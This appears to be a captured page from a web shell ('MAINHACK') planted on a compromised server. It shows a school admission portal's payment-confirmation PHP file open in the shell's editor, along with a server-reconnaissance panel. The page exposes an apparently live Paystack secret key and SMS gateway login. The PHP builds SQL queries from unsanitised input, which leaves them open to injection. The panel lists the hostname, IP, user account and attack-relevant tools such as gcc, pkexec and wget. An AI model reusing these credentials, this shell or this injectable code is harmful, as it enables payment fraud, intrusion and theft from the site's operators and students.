[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: paymentsuccess.php
<?php include("functions.php"); $reference = isset($_GET['reference']) ? htmlspecialchars($_GET['reference'], ENT_QUOTES, 'UTF-8') : ''; $indexNo = isset($_GET['myindex']) ? htmlspecialchars($_GET['myindex'], ENT_QUOTES, 'UTF-8') : ''; $schoolCode = isset($_GET['myschoolcode']) ? htmlspecialchars($_GET['myschoolcode'], ENT_QUOTES, 'UTF-8') : ''; $phone = filter_input(INPUT_GET, 'phone', FILTER_SANITIZE_STRING); if (empty($reference)) { die("Invalid transaction reference."); } $paystack_secret_key = 'sk_live_ca8ec5efc5665e1ada148bcd54c621b0a390662a'; // Replace with your Paystack secret key // Get the transaction reference from the URL $reference = isset($_GET['reference']) ? $_GET['reference'] : ''; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://api.paystack.co/transaction/verify/" . urlencode($reference), CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => [ "Authorization: Bearer $paystack_secret_key", "Content-Type: application/json" ], )); // Execute cURL request $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { die('cURL Error: ' . $err); } // Decode the API response $result = json_decode($response, true); // Check if the verification was successful if ($result['status'] && $result['data']['status'] === 'success') { // Payment was successful $amount = $result['data']['amount'] / 100; // Convert back to GHS (or NGN) $email = $result['data']['customer']['email']; $reference = $result['data']['reference']; $indexxy = mysqli_query($new,"SELECT * FROM stud_payment WHERE indexNumber = '$stu_code'"); if(mysqli_num_rows($indexxy) > 1){ header("location:index"); exit(); } else { $accessCode = $reference; $pstatus = "Paid"; $datepaid = date("Y-m-d H:i:s"); // Insert into stud_payment $stmt = $new->prepare("INSERT INTO stud_payment (s_code, indexNumber, amount, pstatus, datepaid, transaction_id, access_code) VALUES (?, ?, ?, ?, ?, ?, ?)"); $stmt->bind_param("ssdssss", $schoolCode, $indexNo, $amountPaid, $pstatus, $datepaid, $transactionId, $accessCode); if ($stmt->execute()) { $updateQuery = "UPDATE enrol_generic SET access = '$transactionId' WHERE indexNo = '$indexNo' AND s_code = '$schoolCode'"; if (!mysqli_query($new, $updateQuery)) { } $senderID = "BBECAS"; $data = json_encode([ 'username' => "bbecas", 'password' => "bbeduconsult456@gmail.com", 'source' => $senderID, 'destination'=> $phone, 'message' => "Your Access Code is: $accessCode", 'ol' => false, ]); $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => 'https://deywuro.com/api/sms', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => $data, CURLOPT_HTTPHEADER => [ 'Accept: application/json', 'Content-Type: application/json', ], ]); $sms_response = curl_exec($curl); $sms_err = curl_error($curl); curl_close($curl); } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Makepayment | Online Admission Portal</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="elisof" name="author" /> <!-- App favicon --> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <script src="https://js.paystack.co/v1/inline.js"></script> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> </head> <body> <!-- <body data-layout="horizontal"> --> <?php if (empty($reference)) { http_response_code(400); // Bad Request ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Payment Error</title> <style> body { font-family: Arial, sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; background-color: #f8f9fa; } .error-container { text-align: center; padding: 20px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .error-container h1 { color: #dc3545; font-size: 24px; } .error-container p { color: #333; font-size: 16px; } .error-container a { display: inline-block; margin-top: 10px; padding: 10px 20px; background-color: #007bff; color: #fff; text-decoration: none; border-radius: 4px; } .error-container a:hover { background-color: #0056b3; } </style> </head> <body> <div class="error-container"> <h1>Payment Error</h1> <p>No transaction reference provided. Please try again.</p> <a href="index.php">Return to Home</a> </div> </body> </html> <?php } else { ?> <?php header("location: index"); ?> <!-- end --> <?php } ?> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002